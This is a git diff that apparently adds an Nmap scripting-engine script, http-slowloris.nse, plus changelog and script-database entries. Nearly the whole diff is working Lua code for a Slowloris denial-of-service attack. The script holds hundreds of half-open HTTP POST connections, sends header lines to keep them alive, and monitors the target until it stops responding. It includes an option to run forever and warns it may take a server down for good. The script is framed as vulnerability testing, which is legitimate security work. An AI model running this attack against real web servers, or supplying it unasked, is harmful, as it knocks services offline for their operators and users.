diff --git a/CHANGELOG b/CHANGELOG index d3be39bd8..185464ff2 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,8 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added http-slowloris script which performes a slowloris DoS attack + against a Web server and reports if it's vulnerable or not. [Aleksandar Nikolic] + o Added a new --disable-arp-ping option. This option prevents Nmap from implicitly using ARP or ND host discovery for directly connected Ethernet targets. This is useful in networks using proxy diff --git a/scripts/http-slowloris.nse b/scripts/http-slowloris.nse new file mode 100644 index 000000000..68bffad44 --- /dev/null +++ b/scripts/http-slowloris.nse @@ -0,0 +1,251 @@ +local shortport = require "shortport" +local stdnse = require "stdnse" +local http = require "http" + +description = [[ +Tests a webserver against the Slowloris DoS attack, as it was described at +Defcon 17 by RSnake +(see http://ha.ckers.org/slowloris/) + +This script opens and maintains numerous 'half-http' connections until the +webserver runs out of ressources, leading to a denial of service. +When the DoS condition is met the script then stops the attack and returns +the payload datas as they could be usefull to tweak further filtering rules: +- Time taken until DoS +- Number of sockets used +- Number of queries sent +By default the script runs for 30 minutes if DoS is not achieved. + +Please note that the number of concurrent connexions must be defined with the +--max-parallelism option (default is 20, suggested is 400 or more) +Also, be advised that in some cases this attack can bring the whole webserver +definitively down, and not just while the attack holds the ressources +(ie: stopping the attack will not bring the server up again). + +Also, due to Windows limitations, the attack is unlikely to work +when ran from a Windows machine. + +]] + +--- +-- @usage +-- nmap --script http-slowloris --max-parallelism 400 +-- +-- @args http-slowloris.timeout Time to wait before sending new http header datas +-- in order to maintain the connection. Defaults to 100 seconds. +-- @args http-slowloris.runforever Specify that the script should continue the attack forever. +-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 minutes default). +-- +-- @output +-- PORT STATE SERVICE REASON VERSION +-- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu)) +-- | http-slowloris: +-- | Vulnerable: +-- | the DoS attack took +2m22s +-- | with 501 concurrent connections +-- |_ and 441 sent queries + +author = "Aleksandar Nikolic, Ange Gutek" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"dos", "intrusive"} + + +portrule = shortport.http + +local runforever = stdnse.get_script_args('http-slowloris.runforever') or nil + +-- get time (in miliseconds) when the script should finish +local function get_end_time() + local t = nmap.timing_level() + local limit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or "30m") + local end_time = 1000 * limit + nmap.clock_ms() + return end_time +end + +local threads = 0 -- this will save the amount of still connected threads +local sockets = 0 -- the maximum amount of sockets during the attack. This could be lower than the requested concurrent connections because of the webserver configuration (eg maxClients on Apache) +local queries = 0 -- this will save the amount of new lines sent to the half-http requests until the target runs out of ressources +local server_notice +local dosed = false +local stop_all = false + +local doHalfhttp = function(host,port,obj) + local condvar = nmap.condvar(obj) + local get_uri = math.random(100000, 900000) -- we will query a random page + + if stop_all then + condvar "signal" + return + end + + -- create socket + local slowloris = nmap.new_socket() + slowloris:set_timeout(200 * 1000) -- set a long timeout so our socked doesn't timeout while it's waiting + local catch = function() + local count = threads -- retrieve the number of already effective connections + -- this connection is now dead + count = count - 1 + stdnse.print_debug("HALF_HTTP: " .. ": lost connection, "..count.." still remain") + threads = count + slowloris:close() + slowloris = nil + condvar "signal" + end + + local try = nmap.new_try(catch) + try(slowloris:connect(host.ip, port)) + + -- Build a half-http header. + local half_http = "POST /"..get_uri.." HTTP/1.1\r\n" + half_http = half_http.."Host: "..host.ip.."\r\n" + half_http = half_http.."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" + half_http = half_http.."Content-Length: 42\r\n" + try(slowloris:send(half_http)) + server_notice = " (attack against "..host.ip.."): HTTP stream started." + + -- retrieve the number of already effective connections + local count = threads + count = count + 1 + threads = count + -- during the attack some connections will die and other will respawn. Here we keep in mind the maximum concurrent connections reached. + if sockets <= threads then sockets = threads end + + local feed_interval = stdnse.get_script_args("http-slowloris.timeout") + if feed_interval == nil then feed_interval = 100 end + + -- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval + while true do + if stop_all then + break + end + stdnse.sleep(feed_interval) + try(slowloris:send("X-a: b\r\n")) + server_notice = " (attack against "..host.ip.."): Feeding HTTP stream..." + queries = queries + 1 + server_notice = server_notice .. "\n(attack against "..host.ip.."): "..queries.." queries sent using "..threads.." connections." + end + slowloris:close() + condvar "signal" +end + + +-- Monitor the web server +local doMonitor = function(host,port) + + local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server + stdnse.print_debug("MONITOR: Monitoring " ..host.ip.. " started") + local request = "GET / HTTP/1.1\r\nHost: "..host.ip + .."\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n" + + local catch = function() + stdnse.print_debug("MONITOR: " .. " (monitor on ".. host.ip .. "): Monitoring has shut down due to lack of response from the webserver." ) + monitor:close() + request_faults = request_faults +1 + end + + while not stop_all do + monitor = nmap.new_socket() + monitoring = nmap.new_try(catch) + monitoring(monitor:connect(host.ip, port)) + monitoring(monitor:send(request)) + local status, data = monitor:receive_lines(1) + if not status then + stdnse.print_debug("MONITOR: Didn't get a reply from " .. host.ip .. "." ) + monitor:close() + request_faults = request_faults +1 + if request_faults > 3 then + if runforever == nil then + stdnse.print_debug("MONITOR: server " .. host.ip .. "is now unavailable. The attack worked.") + dosed = true + end + monitor:close() + break + end + else + request_faults = 0 + stdnse.print_debug("MONITOR: "..host.ip.." still up, answer received." ) + stdnse.sleep(10) + monitor:close() + end + if stop_all then + break + end + end +end + +local mutex = nmap.mutex("http-slowloris") + +local threads = {} + +local worker_schedluer = function(host, port) + local obj = {} + local condvar = nmap.condvar(obj) + local i + for i=1,1000 do -- The real amount of sockets is triggered by the --max-parallelism option. The remaining threads will replace dead sockets during the attack + local co = stdnse.new_thread(doHalfhttp, host, port,obj) + threads[co] = true + end + + while not dosed and not stop_all do -- keep creating new threads, in case we want to run the attack indefinitely + repeat + condvar "wait" + if stop_all then + return + end + for thread in pairs(threads) do + if coroutine.status(thread) == "dead" then + threads[thread] = nil + stdnse.print_debug("starting new thread") + local co = stdnse.new_thread(doHalfhttp, host, port,obj) + threads[co] = true + end + end + until next(threads) == nil; + end +end + +action = function(host, port) + + mutex "lock" -- we want only one slowloris instance running at a single time even if multiple hosts are specified + -- in order to have as many sockets as we can available to this script + + local output={} + local start,stop,dos_time + + start = os.date("!*t") + -- The first thread is for monitoring and is launched before the attack threads + local mon = stdnse.new_thread(doMonitor, host, port) + stdnse.sleep(2) -- let the monitor make the first request + + + stdnse.print_debug("MAIN THREAD: starting schedluer") + local sched = stdnse.new_thread(worker_schedluer, host, port) + local end_time = get_end_time() + local last_message + if not (runforever == nil) then + stdnse.print_debug("RUNNING FOREVER") + end + -- return a live notice from time to time + while nmap.clock_ms() < end_time or not (runforever == nil) do + if server_notice ~= last_message then -- don't flood the output by repeating the same info + stdnse.print_debug("MAIN THREAD: " .. server_notice) + last_message = server_notice + end + if dosed then + break + end + stdnse.sleep(10) + end + + stop = os.date("!*t") + dos_time = stdnse.format_difftime(stop,start) + stop_all = true + if dosed then + stdnse.print_debug(2, "%s: Slowloris Attack stopped, building output", SCRIPT_NAME) + output = "Vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries" + mutex "done" -- release the mutex + return stdnse.format_output(true, output) + end + mutex "done" -- release the mutex + return false +end diff --git a/scripts/script.db b/scripts/script.db index b7bae20f2..4b1100ae2 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -172,6 +172,7 @@ Entry { filename = "http-robots.txt.nse", categories = { "default", "discovery", Entry { filename = "http-robtex-reverse-ip.nse", categories = { "discovery", "external", "safe", } } Entry { filename = "http-robtex-shared-ns.nse", categories = { "discovery", "external", "safe", } } Entry { filename = "http-sitemap-generator.nse", categories = { "discovery", "intrusive", } } +Entry { filename = "http-slowloris.nse", categories = { "dos", "intrusive", } } Entry { filename = "http-sql-injection.nse", categories = { "intrusive", "vuln", } } Entry { filename = "http-title.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "http-tplink-dir-traversal.nse", categories = { "exploit", "vuln", } }